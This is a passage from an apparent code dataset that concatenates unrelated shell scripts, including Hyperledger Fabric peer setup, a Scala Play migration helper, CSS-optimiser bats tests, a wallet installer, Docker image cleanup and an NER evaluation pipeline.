/etc/apparmor.d/${SERVICE}_profile\ndone"} {"text": "kevakil/mesh-transformer-jaxscripts/to_hf.sh\npython3 to_hf_weights.py \\\n--input-ckpt gs://aarrfsf/home/keyan/mesh-transformer-jax/split_training_data_model_dir/_slim/step_10 \\\n--output-path gs://aarrfsf/hf_model \\\n--config ./configs/split_training_data.json"} {"text": "fabricConfig/startPeer.sh\n#!/usr/bin/env bash\nexport FABRIC_CFG_PATH=/etc/hyperledger/fabric\nexport CORE_PEER_LOGGINGLEVEL=DEBUG #输出日志级别\nexport CORE_PEER_ID=peer0.org1.example.com #peer的ID\nexport CORE_PEER_ADDRESS=peer0.org1.example.com:7051 #服务地址\nexport CORE_PEER_GOSSIP_USELEADERELECTION=true #是否自动选举代表节点\nexport CORE_PEER_GOSSIP_ORGLEADER=false #是否作为组织代表节点从Ordering服务拉取区块\nexport CORE_PEER_LOCALMSPID=Org1MSP #所属组织MSP的ID\nexport CORE_PEER_MSPCONFIGPATH=/etc/hyperledger/fabric/artifacts/channel/crypto-config/peerOrganizations/org1.example.com/peers/peer0.org1.example.com/msp #msp文件所在的相对路径\nexport CORE_VM_ENDPOINT=unix:///var/run/docker.sock #Docker服务地址\nexport CORE_VM_DOCKER_HOSTCONFIG_NETWORKMODE=host #链码容器使用的网络模式\n\nexport CORE_PEER_TLS_ENABLE=false #是否允许TLS\nexport CORE_PEER_TLS_CERT_FILE=/etc/hyperledger/fabric/artifacts/channel/crypto-config/peerOrganizations/org1.example.com/peers/peer0.org1.example.com/tls/server.key #TLS开启时指定的签名私钥\nexport CORE_PEER_TLS_KEY_FILE=/etc/hyperledger/fabric/artifacts/channel/crypto-config/peerOrganizations/org1.example.com/peers/peer0.org1.example.com/tls/server.crt #TLS开启时指定身份证书位置\nexport CORE_PEER_TLS_ROOTCERT=[/etc/hyperledger/fabric/artifacts/channel/crypto-config/peerOrganizations/org1.example.com/peers/peer0.org1.example.com/tls/ca.crt] #TLS开启时指定信任的跟CA证书位置\npeer node start"} {"text": "smorimoto/opam-cross-windows\n#!/bin/bash -e\n\n. $(dirname $0)/config.sh\n\nfor pkg in packages/*; do\n pkgcur=${pkg/-${SUFFIX}/}\n pkgname=${pkgcur/.*/}\n if ! [ -e \"${UPSTREAM}/${pkgname}\" ]; then\n continue\n fi\n opam remove -y ${pkg/packages\\//}\ndone"} {"text": "Paco-Server/scripts/getpaco_multipleexperiments.sh\n#/bin/bash\n\necho \"enter experimentIds (e.g. 1 or 1,2,3) (these are from the definition page on server)\"\nread experiment_id\n\necho \"enter report format (csv,json,html)\"\nread report_format\n \necho \"output file name\"\nread outfile\n\n#if [ \"$experiment_id\" =~ \",\" ]; then\nexperiment_ids=$(echo $experiment_id | tr \",\" \"\\n\")\n#else\n# experiment_ids = experiment_id\n#fi\n\nfor curr_experiment_id in $experiment_ids; do\n\necho \"retrieving $curr_experiment_id\"\n\nif [ \"$report_format\" = \"json\" ]; then\n result=`curl -L -b ~/.paco_qs_cookie \"https://quantifiedself.appspot.com/events?q=experimentId=$curr_experiment_id&json\"`\nelse\n joburl=`curl -L -v -b ~/.paco_qs_cookie \"https://quantifiedself.appspot.com/events?q=experimentId=$curr_experiment_id&$report_format\" 2>&1 | grep \"GET /jobStatus\" | cut -d \" \" -f 3`\n\n joburl=\"$joburl&cmdline=1\"\n\n result=`curl -L -b ~/.paco_qs_cookie \"https://quantifiedself.appspot.com$joburl\"`\n\n # refresh until the report is ready\n while [ \"$result\" = pending ]; do\n result=`curl -L -b ~/.paco_qs_cookie \"https://quantifiedself.appspot.com$joburl\"`\n done\nfi\n\necho \"$result\" >> $outfile\n\ndone"} {"text": "#!/bin/bash\n\necho \"\"\necho \"Applying migration CountryOfIncorporation\"\n\necho \"Adding routes to conf/app.routes\"\n\necho \"\" >> ../conf/app.routes\necho \"### CountryOfIncorporation Controller\" >> ../conf/app.routes\necho \"### ----------------------------------------\" >> ../conf/app.routes\n\nexport kebabClassName=$(sed -e 's/\\([^A-Z]\\)\\([A-Z0-9]\\)/\\1-\\2/g' -e 's/\\([A-Z0-9]\\)\\([A-Z0-9]\\)\\([^A-Z]\\)/\\1-\\2\\3/g' <<< \"CountryOfIncorporation\" | tr '[:upper:]' '[:lower:]')\necho \"GET /$kebabClassName controllers.ultimateParentCompany.CountryOfIncorporationController.onPageLoad(mode: Mode = NormalMode)\" >> ../conf/app.routes\necho \"POST /$kebabClassName controllers.ultimateParentCompany.CountryOfIncorporationController.onSubmit(mode: Mode = NormalMode)\" >> ../conf/app.routes\necho \"GET /$kebabClassName/change controllers.ultimateParentCompany.CountryOfIncorporationController.onPageLoad(mode: Mode = CheckMode)\" >> ../conf/app.routes\necho \"POST /$kebabClassName/change controllers.ultimateParentCompany.CountryOfIncorporationController.onSubmit(mode: Mode = CheckMode)\" >> ../conf/app.routes\n\necho \"Adding messages to English conf.messages\"\necho \"\" >> ../conf/messages.en\necho \"# CountryOfIncorporationPage Messages\" >> ../conf/messages.en\necho \"# ----------------------------------------------------------\" >> ../conf/messages.en\necho \"countryOfIncorporation.title = countryOfIncorporation\" >> ../conf/messages.en\necho \"countryOfIncorporation.heading = countryOfIncorporation\" >> ../conf/messages.en\necho \"countryOfIncorporation.checkYourAnswersLabel = countryOfIncorporation\" >> ../conf/messages.en\necho \"countryOfIncorporation.label= CountryOfIncorporation\" >> ../conf/messages.en\necho \"countryOfIncorporation.error.required = Enter countryOfIncorporation\" >> ../conf/messages.en\necho \"countryOfIncorporation.error.length = CountryOfIncorporation must be 2 characters or less\" >> ../conf/messages.en\n\necho \"Adding messages to Welsh conf.messages\"\necho \"\" >> ../conf/messages.cy\necho \"# CountryOfIncorporationPage Messages\" >> ../conf/messages.cy\necho \"# ----------------------------------------------------------\" >> ../conf/messages.cy\necho \"countryOfIncorporation.title = countryOfIncorporation\" >> ../conf/messages.cy\necho \"countryOfIncorporation.heading = countryOfIncorporation\" >> ../conf/messages.cy\necho \"countryOfIncorporation.checkYourAnswersLabel = countryOfIncorporation\" >> ../conf/messages.cy\necho \"countryOfIncorporation.label = CountryOfIncorporation\" >> ../conf/messages.cy\necho \"countryOfIncorporation.error.required = Enter countryOfIncorporation\" >> ../conf/messages.cy\necho \"countryOfIncorporation.error.length = CountryOfIncorporation must be 2 characters or less\" >> ../conf/messages.cy\n\necho \"Adding to UserAnswersEntryGenerators\"\nawk '/trait UserAnswersEntryGenerators/ {\\\n print;\\\n print \"\";\\\n print \" implicit lazy val arbitraryCountryOfIncorporationUserAnswersEntry: Arbitrary[(CountryOfIncorporationPage.type, JsValue)] =\";\\\n print \" Arbitrary {\";\\\n print \" for {\";\\\n print \" page <- arbitrary[CountryOfIncorporationPage.type]\";\\\n print \" value <- arbitrary[String].suchThat(_.nonEmpty).map(Json.toJson(_))\";\\\n print \" } yield (page, value)\";\\\n print \" }\";\\\n next }1' ../test/generators/UserAnswersEntryGenerators.scala > tmp && mv tmp ../test/generators/UserAnswersEntryGenerators.scala\n\necho \"Adding to PageGenerators\"\nawk '/trait PageGenerators/ {\\\n print;\\\n print \"\";\\\n print \" implicit lazy val arbitraryCountryOfIncorporationPage: Arbitrary[CountryOfIncorporationPage.type] =\";\\\n print \" Arbitrary(CountryOfIncorporationPage)\";\\\n next }1' ../test/generators/PageGenerators.scala > tmp && mv tmp ../test/generators/PageGenerators.scala\n\necho \"Adding to UserAnswersGenerator\"\nawk '/val generators/ {\\\n print;\\\n print \" arbitrary[(CountryOfIncorporationPage.type, JsValue)] ::\";\\\n next }1' ../test/generators/UserAnswersGenerator.scala > tmp && mv tmp ../test/generators/UserAnswersGenerator.scala\n\necho \"Adding helper method to CheckYourAnswersHelper\"\nawk '/class/ {\\\n print;\\\n print \"\";\\\n print \" def countryOfIncorporation: Option[SummaryListRow] = answer(CountryOfIncorporationPage, routes.CountryOfIncorporationController.onPageLoad(CheckMode))\";\\\n next }1' ../app/utils/CheckYourAnswersHelper.scala > tmp && mv tmp ../app/utils/CheckYourAnswersHelper.scala\n\necho \"Adding to Pages map\"\nawk '/val pages/ {\\\n print;\\\n print \" CountryOfIncorporationPage.toString -> CountryOfIncorporationPage,\";\\\n next }1' ../app/pages/Page.scala > tmp && mv tmp ../app/pages/Page.scala\n\necho \"Migration CountryOfIncorporation completed\""} {"text": "0\n#!/usr/bin/env bats\n# shellcheck disable=SC2086\n\nfunction setup() {\n cd \"$BATS_TEST_DIRNAME/..\" || exit 1 # project root\n if [ -z \"${COMMAND+x}\" ]; then exit 1; fi\n tmpdir=\"$(mktemp -d)\"\n export tmpdir\n}\n\nfunction teardown() {\n rm -rf \"$tmpdir\"\n}\n\n@test 'Non existent file' {\n # when\n run $COMMAND \"$tmpdir/style.css\"\n\n # then\n [ \"$status\" -ne 0 ]\n}\n\n@test 'Error - when missing file argument' {\n # when\n run $COMMAND\n\n # then\n [ \"$status\" -ne 0 ]\n}\n\n@test 'Error - when the file does not exist' {\n # when\n run $COMMAND \"$tmpdir/style.css\"\n\n # then\n [ \"$status\" -ne 0 ]\n}\n\n@test 'Error - when a file does not exist' {\n # given\n cp 'data/style.css' \"$tmpdir/style1.css\"\n\n # when\n run $COMMAND \"$tmpdir/style1.css\" \"$tmpdir/style2.css\"\n\n # then\n [ \"$status\" -ne 0 ]\n}\n\n@test 'Optimize single file' {\n # given\n cp 'data/style.css' \"$tmpdir/style.css\"\n\n # when\n run $COMMAND \"$tmpdir/style.css\"\n\n # then\n [ \"$status\" -eq 0 ]\n [ \"$(wc -c <\"$tmpdir/style.css\")\" -gt 0 ]\n [ \"$(wc -c <\"$tmpdir/style.css\")\" -lt \"$(wc -c <'data/style.css')\" ]\n}\n\n@test 'Optimize multiple files' {\n # given\n cp 'data/style.css' \"$tmpdir/style1.css\"\n cp 'data/style.css' \"$tmpdir/style2.css\"\n cp 'data/style.css' \"$tmpdir/style3.css\"\n\n # when\n run $COMMAND \"$tmpdir/style1.css\" \"$tmpdir/style2.css\"\n\n # then\n [ \"$status\" -eq 0 ]\n [ \"$(wc -c <\"$tmpdir/style1.css\")\" -gt 0 ]\n [ \"$(wc -c <\"$tmpdir/style1.css\")\" -lt \"$(wc -c <'data/style.css')\" ]\n [ \"$(wc -c <\"$tmpdir/style2.css\")\" -gt 0 ]\n [ \"$(wc -c <\"$tmpdir/style2.css\")\" -lt \"$(wc -c <'data/style.css')\" ]\n [ \"$(wc -c <\"$tmpdir/style3.css\")\" -eq \"$(wc -c <'data/style.css')\" ]\n}\n\n@test 'Optimize directory' {\n # given\n cp 'data/style.css' \"$tmpdir/style1.css\"\n cp 'data/style.css' \"$tmpdir/style2.css\"\n\n # when\n run $COMMAND \"$tmpdir\"\n\n # then\n [ \"$status\" -eq 0 ]\n [ \"$(wc -c <\"$tmpdir/style1.css\")\" -gt 0 ]\n [ \"$(wc -c <\"$tmpdir/style1.css\")\" -lt \"$(wc -c <'data/style.css')\" ]\n [ \"$(wc -c <\"$tmpdir/style2.css\")\" -gt 0 ]\n [ \"$(wc -c <\"$tmpdir/style2.css\")\" -lt \"$(wc -c <'data/style.css')\" ]\n}\n\n@test 'Optimize directory (recursively)' {\n # given\n cp 'data/style.css' \"$tmpdir/style1.css\"\n mkdir -p \"$tmpdir/nested\"\n cp 'data/style.css' \"$tmpdir/nested/style2.css\"\n\n # when\n run $COMMAND \"$tmpdir\"\n\n # then\n [ \"$status\" -eq 0 ]\n [ \"$(wc -c <\"$tmpdir/style1.css\")\" -gt 0 ]\n [ \"$(wc -c <\"$tmpdir/style1.css\")\" -lt \"$(wc -c <'data/style.css')\" ]\n [ \"$(wc -c <\"$tmpdir/nested/style2.css\")\" -gt 0 ]\n [ \"$(wc -c <\"$tmpdir/nested/style2.css\")\" -lt \"$(wc -c <'data/style.css')\" ]\n}"} {"text": "#!/bin/sh\n######################################################################################\n# If not stated otherwise in this file or this component's Licenses.txt file the\n# following copyright and licenses apply:\n\n# Copyright 2018 RDK Management\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#######################################################################################\n#\n\nif [ -f /etc/device.properties ]\nthen\n source /etc/device.properties\nfi\n\nuptime=`cat /proc/uptime | awk '{ print $1 }' | cut -d\".\" -f1`\nwhile [ \"$uptime\" -lt 600 ] ; do\n sleep 60\n uptime=`cat /proc/uptime | awk '{ print $1 }' | cut -d\".\" -f1`\ndone\n\nforever=1;\nwhile [ \"$forever\" -eq \"1\" ]; do\n\tLogInterval=`psmcli get dmsb.device.deviceinfo.X_RDKCENTRAL-COM_WHIX.LogInterval`\n\tif [ \"$LogInterval\" == \"\" ] ; then\n\t\tLogInterval=3600\n\t\tpsmcli set dmsb.device.deviceinfo.X_RDKCENTRAL-COM_WHIX.LogInterval 3600\n\tfi\n\n\ttimeleft=$LogInterval\n\twhile [ \"$timeleft\" -gt 0 ] ; do\n\t\tsleep 300\n\t\tLogInterval_old=$LogInterval;\n\t\tLogInterval=`psmcli get dmsb.device.deviceinfo.X_RDKCENTRAL-COM_WHIX.LogInterval`\n\t if [ \"$LogInterval\" == \"\" ] ; then\n \t LogInterval=3600\n \tfi\n\t\ttimeleft=$(($timeleft-300+$LogInterval-$LogInterval_old))\n\tdone;\n\n\techo \"before running stahealth.sh printing top output\" >> $WIFI_CONSOLE_LOG_NAME\n\ttop -n1 >> $WIFI_CONSOLE_LOG_NAME\n\n\n\tru=0;\n\tif [ \"$(pidof CcspWifiSsp)\" != \"\" ] && [ \"$(pidof aphealth.sh)\" == \"\" ] && [ \"$(pidof stahealth.sh)\" == \"\" ] && [ \"$(pidof radiohealth.sh)\" == \"\" ] && [ \"$(pidof aphealth_log.sh)\" == \"\" ] && [ \"$(pidof radiohealth_log.sh)\" == \"\" ] && [ \"$(pidof bandsteering.sh)\" == \"\" ] && [ \"$(pidof bandsteering_log.sh)\" == \"\" ] && [ \"$(pidof log_mem_cpu_info_atom.sh)\" == \"\" ] && [ \"$(pidof dailystats.sh)\" == \"\" ] && [ \"$(pidof dailystats_log.sh)\" == \"\" ] ; then\n\t\tif [ \"$BOX_TYPE\" == \"XB3\" ]; then\n\t\t\tif [ \"$(pidof hostapd)\" != \"\" ] && [ \"$(pidof apup)\" == \"\" ] && [ \"$(pidof fastdown)\" == \"\" ] && [ \"$(pidof apdown)\" == \"\" ]; then\n\t\t\t\tru=1;\n\t\t\tfi\n\t\telse\n\t\t\tru=1;\n\t\tfi\n\tfi\n\n\tif [ \"$ru\" == \"1\" ]; then\n\t\t/usr/ccsp/wifi/stahealth.sh >> /rdklogs/logs/wifihealth.txt\n\t\techo \"after running stahealth.sh printing top output\" >> $WIFI_CONSOLE_LOG_NAME\n\t\ttop -n1 >> $WIFI_CONSOLE_LOG_NAME\n\telse\n\t\techo \"skipping staheath.sh run\" >> $WIFI_CONSOLE_LOG_NAME\n\tfi\ndone"} {"text": "0\n#!/bin/bash\n# Download latest node and install.\n#bwklink=`https://github.com/telostia/mymn-guides/raw/master/wallet/linux64/mymn-linux.tar.gz`\n#mkdir -p /tmp/mymn\ncd\n# /tmp/mymn\n#wget $bwklink\nwget https://github.com/telostia/mymn-guides/raw/master/wallet/linux64/mymn-linux.tar.gz\ntar -xzf mymn-linux.tar.gz\nsudo mv mymn* /usr/local/bin\ncd\nrm mymn*\nmkdir ~/.mymn\n\n# Setup configuration for node.\nrpcuser=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '')\nrpcpassword=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 32 ; echo '')\ncat >~/.mymn/mymn.conf <1000+\n#!/bin/bash\nsource ../test_base\n\nexport DEV_GRAPHICS=\"-vga std\"\nmake SERVICE=Test FILES=vga.cpp\nstart Test.img \"VGA: Verify that the service starts test\"\nmake SERVICE=Test FILES=vga.cpp clean"} {"text": "shell/del-current.sh\n#!/bin/bash\n\nset -x\ndockerimages=(\n kube-apiserver-amd64:v1.11.6\n kube-controller-manager-amd64:v1.11.6\n kube-scheduler-amd64:v1.11.6\n kube-proxy-amd64:v1.11.6\n etcd-amd64:3.2.18\n pause-amd64:3.1\n coredns:1.1.3\n metrics-server-amd64:v0.3.1\n # k8s-dns-sidecar-amd64:1.14.10\n # k8s-dns-kube-dns-amd64:1.14.10\n # k8s-dns-dnsmasq-nanny-amd64:1.14.10\n cluster-autoscaler:v1.3.3\n defaultbackend:1.5\n coredns:1.2.2\n metrics-server-amd64:v0.3.1\n elasticsearch:v6.3.0\n fluentd-elasticsearch:v2.3.1\n kibana-oss:6.3.2\n)\n\nj=1\nfor i in ${dockerimages[@]}\ndo\n echo $i\n echo $j\n\n docker rmi arborhuang/$i\n docker rmi k8s.gcr.io/$i\n docker rmi gcr.io/google_containers/$i\n\n let j+=1\ndone\n\ndocker rmi coredns/coredns:1.2.2\n\n# conduitimages=(\n# controller:v0.5.0\n# proxy:v0.5.0\n# proxy-init:v0.5.0\n# web:v0.5.0\n# grafana:v0.5.0\n# )\n\n# j=1\n# for i in ${conduitimages[@]}\n# do\n# echo $i\n# echo $j\n\n# docker rmi arborhuang/runconduit-$i\n# docker rmi gcr.io/runconduit/$i\n\n# let j+=1\n# done\n\n# spinnakerimages=(\n# clouddriver:2.0.0-20180221152902\n# echo:0.8.0-20180221133510\n# deck:2.1.0-20180221143146\n# igor:0.9.0-20180221133510\n# orca:0.10.0-20180221133510\n# gate:0.10.0-20180221133510\n# front50:0.9.0-20180221133510\n# rosco:0.5.0-20180221133510\n# )\n\n# j=1\n# for i in ${spinnakerimages[@]}\n# do\n# echo $i\n# echo $j\n\n# docker rmi arborhuang/spinnaker-$i\n# docker rmi gcr.io/spinnaker-marketplace/$i\n\n# let j+=1\n# done\n\n# jximages2=(\n# chartmuseum/chartmuseum:v0.2.8\n# jenkinsxio/jenkinsx:0.0.25\n# jenkinsci/jnlp-slave:3.14-1\n# jenkinsxio/builder-maven:0.0.280\n# jenkinsxio/builder-gradle:0.0.163\n# jenkinsxio/builder-scala:0.0.96\n# jenkinsxio/builder-go:0.0.275\n# jenkinsxio/builder-terraform:0.0.52\n# jenkinsxio/builder-rust:0.0.130\n# jenkinsxio/builder-nodejs:0.0.228\n# jenkinsxio/builder-base:0.0.312\n# jenkinsxio/builder-python2:0.0.45\n# jenkinsxio/builder-python:0.0.46\n# jenkinsxio/builder-ruby:0.0.312\n# jenkinsxio/builder-swift:0.0.312\n# )\n\n# j=1\n# for i in ${jximages2[@]}\n# do\n# echo $i\n# echo $j\n\n# docker rmi $i\n\n# let j+=1\n# done\n\nset +x"} {"text": "startup.sh\n#!/bin/sh\nset -e\nset -x\n\nif [ -f /opt/Geolite2-City.mmdb ]; then\n export GEOLITE2_DB=/opt/Geolite2-City.mmdb\nfi\n\necho \"Starting Sample JSON rules...\"\nruller-sample-feature-flag \\\n --log-level=$LOG_LEVEL \\\n --city-state-db=/opt/city-state.csv \\\n --geolite2-db=\"$GEOLITE2_DB\""} {"text": "docker_scripts/init.bash\n#!/bin/bash\n#export AN_PROJECT_DIR=/root/catkin_ws/src/darknet_ros\n\n#echo \"Copying bash aliases...\" #{{{\n#cp $AN_PROJECT_DIR/docker_scripts/sources/.bash_aliases /root\n#}}}\n\n#echo \"Installing apt dependencies...\" #{{{\n#Packages for developing and testing\n#apt-get -y install $(cat $AN_PROJECT_DIR/docker_scripts/sources/pkg_dev)\n#Packages for deploy\n# apt-get -y install $(cat $AN_PROJECT_DIR/docker_scripts/sources/pkg_deps)\n#}}}\n\necho \"Setting up ros environment...\" #{{{\ncd /root/\nmkdir -p catkin_ws/src\n\n# Build autonomous_navigation_project\nsource /opt/ros/melodic/setup.bash\ncd /root/catkin_ws && catkin build \n#}}}"} {"text": "#!/bin/bash -x\n\ncmd=\"$(dirname \"$0\")/cli.js\"\n\n$cmd compute 1234\n$cmd generate 1234\n$cmd validate 12344\n$cmd validate 12345\n\nCDIGIT_CLI_DEFAULT_ALGO=damm $cmd compute 1234\nCDIGIT_CLI_DEFAULT_ALGO=damm $cmd generate 1234\nCDIGIT_CLI_DEFAULT_ALGO=damm $cmd validate 12340\nCDIGIT_CLI_DEFAULT_ALGO=damm $cmd validate 12345\n\n$cmd --algo luhn compute 1234\n$cmd --algo luhn generate 1234\n$cmd --algo luhn validate 12344\n$cmd --algo luhn validate 12345\n$cmd --algo verhoeff compute 1234\n$cmd --algo verhoeff generate 1234\n$cmd --algo verhoeff validate 12340\n$cmd --algo verhoeff validate 12345\n$cmd --algo damm compute 1234\n$cmd --algo damm generate 1234\n$cmd --algo damm validate 12340\n$cmd --algo damm validate 12345\n$cmd --algo mod11_2 compute 1234\n$cmd --algo mod11_2 generate 1234\n$cmd --algo mod11_2 validate 12344\n$cmd --algo mod11_2 validate 12345\n$cmd --algo mod37_2 compute 12CD\n$cmd --algo mod37_2 generate 12CD\n$cmd --algo mod37_2 validate 12CD6\n$cmd --algo mod37_2 validate 12CD5\n$cmd --algo mod97_10 compute 1234\n$cmd --algo mod97_10 generate 1234\n$cmd --algo mod97_10 validate 123482\n$cmd --algo mod97_10 validate 123456\n$cmd --algo mod661_26 compute ABCD\n$cmd --algo mod661_26 generate ABCD\n$cmd --algo mod661_26 validate ABCDKN\n$cmd --algo mod661_26 validate ABCDEF\n$cmd --algo mod1271_36 compute 12CD\n$cmd --algo mod1271_36 generate 12CD\n$cmd --algo mod1271_36 validate 12CDJU\n$cmd --algo mod1271_36 validate 12CD56\n$cmd --algo mod11_10 compute 1234\n$cmd --algo mod11_10 generate 1234\n$cmd --algo mod11_10 validate 12340\n$cmd --algo mod11_10 validate 12345\n$cmd --algo mod27_26 compute ABCD\n$cmd --algo mod27_26 generate ABCD\n$cmd --algo mod27_26 validate ABCDR\n$cmd --algo mod27_26 validate ABCDE\n$cmd --algo mod37_36 compute 12CD\n$cmd --algo mod37_36 generate 12CD\n$cmd --algo mod37_36 validate 12CD5\n$cmd --algo mod37_36 validate 12CDE\n$cmd --algo gtin compute 01234567890\n$cmd --algo gtin generate 01234567890\n$cmd --algo gtin validate 012345678905\n$cmd --algo gtin validate 012345678901"} {"text": "#!/usr/bin/env bash\n\nusage() {\n echo \"Usage: $0 [extra build params]\"\n}\n\nif [ -z \"${1:-}\" ]; then\n usage\n exit 1\nfi\n\nOfficialBuildId=$1\nshift\n\nbuildParams=\"/p:OfficialBuildId=$OfficialBuildId\"\n\nsource=\"${BASH_SOURCE[0]}\"\n\n# resolve $SOURCE until the file is no longer a symlink\nwhile [[ -h $source ]]; do\n scriptroot=\"$( cd -P \"$( dirname \"$source\" )\" && pwd )\"\n source=\"$(readlink \"$source\")\"\n\n # if $source was a relative symlink, we need to resolve it relative to the path where the\n # symlink file was located\n [[ $source != /* ]] && source=\"$scriptroot/$source\"\ndone\n\nscriptroot=\"$( cd -P \"$( dirname \"$source\" )\" && pwd )\"\n\n\"$scriptroot/eng/common/build.sh\" --build --restore --pack -bl \"$buildParams\" /p:EnableSourceLink=false /p:DeterministicSourcePaths=false $@"} {"text": "dev/android-studio.sh0\n echo \"Installing Android Studio...\"\nbrew cask install android-studio\necho \"\";"} {"text": "#!/usr/bin/env bash\nnvidia-docker run -v $PWD:/tmp/working -w=/tmp/working -p 8889:8888 --rm -it \\\n kaggle-python-gpu \\\n jupyter notebook --no-browser --ip=\"0.0.0.0\" \\\n --notebook-dir=/tmp/working --allow-root"} {"text": "1-10\n#!/usr/bin/env bash\n\nfunction require() {\n if [ -z \"$2\" ]; then\n echo \"validation failed: $1 unset\"\n exit 1\n fi\n}\n\nrequire WORKDIR \"${WORKDIR}\"\nrequire DOCKERFILE \"${DOCKERFILE}\"\n\nset -veuo pipefail\n\ndocker build -f ${DOCKERFILE} \\\n --build-arg version=${CIRCLE_SHA1:0:7} \\\n --build-arg KURL_UTIL_IMAGE \\\n -t ${CIRCLE_PROJECT_REPONAME}:${CIRCLE_SHA1:0:7} \\\n ${WORKDIR:-$HOME/repo}"} {"text": "#!/bin/bash\n\n# Run the following block, only if skipping step evaluate_overlap.sh on purpose (all steps executed there). Remove lines 4 and 41.\n: <<'END'\n# create overlap directories\nmkdir /mnt/data/gold_standard/overlap\nmkdir /mnt/data/gold_standard/overlap/litbank\nmkdir /mnt/data/gold_standard/overlap/dekker_et_al\nmkdir /mnt/data/gold_standard/overlap/original_texts\nmkdir /mnt/data/gold_standard/overlap/new_annotation\n\n# copy manually created overlapping files to the data folder\ncp /mnt/Git/data_overlap_manual_collection/dekker_et_al/* /mnt/data/gold_standard/overlap/dekker_et_al/\ncp /mnt/Git/data_overlap_manual_collection/litbank/* /mnt/data/gold_standard/overlap/litbank/\ncp /mnt/Git/data_overlap_manual_collection/original_texts/* /mnt/data/gold_standard/overlap/original_texts/\ncp /mnt/Git/annotation/* /mnt/data/gold_standard/overlap/new_annotation/\n\n####################################\n######### BookNLP #########\n####################################\necho -e \"\\e[30;48;5;45m INFO: Beginning with BookNLP \\e[0m\"\ncd /mnt/book-nlp\nmkdir data/output/overlap\nmkdir data/tokens/overlap\n\necho -e \"\\e[30;48;5;45m INFO: Running BookNLP over overlapping text sections \\e[0m\"\ntotal_count=$(ls /mnt/data/gold_standard/overlap/original_texts/ -1 | wc -l)\ncurrent_count=1\n#iterate over original book texts and run BookNLP\nfor filename in /mnt/data/gold_standard/overlap/original_texts/*.txt; do\n bookname=$(basename -- \"$filename\")\n echo -e \"\\e[30;48;5;45m INFO: $current_count/ $total_count: ${bookname%.*} \\e[0m\"\n ./runjava novels/BookNLP -doc /mnt/data/gold_standard/overlap/original_texts/$bookname -p data/output/overlap/${bookname%.*} -tok data/tokens/overlap/${bookname%.*}.tokens -f\n ((current_count++))\ndone\n\necho -e \"\\e[30;48;5;45m INFO: Running Flair over overlapping text sections \\e[0m\"\npython3 /mnt/Git/scripts/alt_evaluation/flair_tag_raw_texts.py ${bookname%.*}\nEND\n# create a folder for results\nmkdir /mnt/Git/results/overlap_conll\n\n#todo remove those and just catch putput and pipe to correct folder\n# create empty csv with header for the evaluation results\necho \"book_title, precision_booknlp, recall_booknlp, f1_booknlp\" >> /mnt/Git/results/overlap_conll/booknlp_dekkeretal_evaluation.csv\n#echo \"book_title, index_list, word_list\" >> /mnt/Git/results/overlap_conll/booknlp_dekkeretal_false_positive.csv\n#echo \"book_title, index_list, word_list\" >> /mnt/Git/results/overlap_conll/booknlp_dekkeretal_false_negative.csv\n\necho \"book_title, precision_booknlp, recall_booknlp, f1_booknlp\" >> /mnt/Git/results/overlap_conll/booknlp_litbank_evaluation.csv\n#echo \"book_title, index_list, word_list\" >> /mnt/Git/results/overlap_conll/booknlp_litbank_false_positive.csv\n#echo \"book_title, index_list, word_list\" >> /mnt/Git/results/overlap_conll/booknlp_litbank_false_negative.csv\n\n# create an empty folders for data\nmkdir /mnt/Git/scripts/conll_evaluation/data_conll_format\nmkdir /mnt/Git/scripts/conll_evaluation/data_conll_format/booknlp_litbank\nmkdir /mnt/Git/scripts/conll_evaluation/data_conll_format/booknlp_dekkeretal\nmkdir /mnt/Git/scripts/conll_evaluation/data_conll_format/booknlp_new_person\nmkdir /mnt/Git/scripts/conll_evaluation/data_conll_format/booknlp_new_perx\nmkdir /mnt/Git/scripts/conll_evaluation/data_conll_format/flair_litbank\nmkdir /mnt/Git/scripts/conll_evaluation/data_conll_format/flair_dekkeretal\nmkdir /mnt/Git/scripts/conll_evaluation/data_conll_format/flair_new_person\nmkdir /mnt/Git/scripts/conll_evaluation/data_conll_format/flair_new_perx\n\n# add conll to path in order to add arguments\nln -s /mnt/Git/scripts/conll_evaluation/conlleval.pl /usr/bin/conlleval.pl\n\n# CAUTION: We do not use the flag -r as we are comparing the entities tags of the prefix\n\necho -e \"\\e[30;48;5;45m INFO: Evaluating BookNLP using LitBank \\e[0m\"\npython3 /mnt/Git/scripts/conll_evaluation/booknlp_vs_litbank_gs.py\nfor x in /mnt/Git/scripts/conll_evaluation/data_conll_format/booknlp_litbank/*tsv ; do echo $x ; conlleval.pl -l < $x ; done > /mnt/Git/results/overlap_conll/booknlp_litbank.txt\n\necho -e \"\\e[30;48;5;45m INFO: Evaluating BookNLP using Dekker et al. \\e[0m\"\npython3 /mnt/Git/scripts/conll_evaluation/booknlp_vs_dekkeretal_gs.py\nfor x in /mnt/Git/scripts/conll_evaluation/data_conll_format/booknlp_dekkeretal/*tsv ; do echo $x ; conlleval.pl -l < $x ; done > /mnt/Git/results/overlap_conll/booknlp_dekkeretal.txt\n\necho -e \"\\e[30;48;5;45m INFO: Evaluating BookNLP using New gold standard \\e[0m\"\npython3 /mnt/Git/scripts/conll_evaluation/booknlp_vs_new_gs.py\nfor x in /mnt/Git/scripts/conll_evaluation/data_conll_format/booknlp_new_person/*tsv ; do echo $x ; conlleval.pl -l < $x ; done > /mnt/Git/results/overlap_conll/booknlp_new_person.txt\nfor x in /mnt/Git/scripts/conll_evaluation/data_conll_format/booknlp_new_perx/*tsv ; do echo $x ; conlleval.pl -l < $x ; done > /mnt/Git/results/overlap_conll/booknlp_new_perx.txt\n\necho -e \"\\e[30;48;5;45m INFO: Evaluating Flair using LitBank \\e[0m\"\npython3 /mnt/Git/scripts/conll_evaluation/flair_vs_litbank_gs.py\nfor x in /mnt/Git/scripts/conll_evaluation/data_conll_format/flair_litbank/*tsv ; do echo $x ; conlleval.pl -l < $x ; done > /mnt/Git/results/overlap_conll/flair_litbank.txt\n# evaluation with prefixes\nfor x in /mnt/Git/scripts/conll_evaluation/data_conll_format/flair_litbank/*tsv ; do echo $x ; conlleval.pl -r -l < $x ; done > 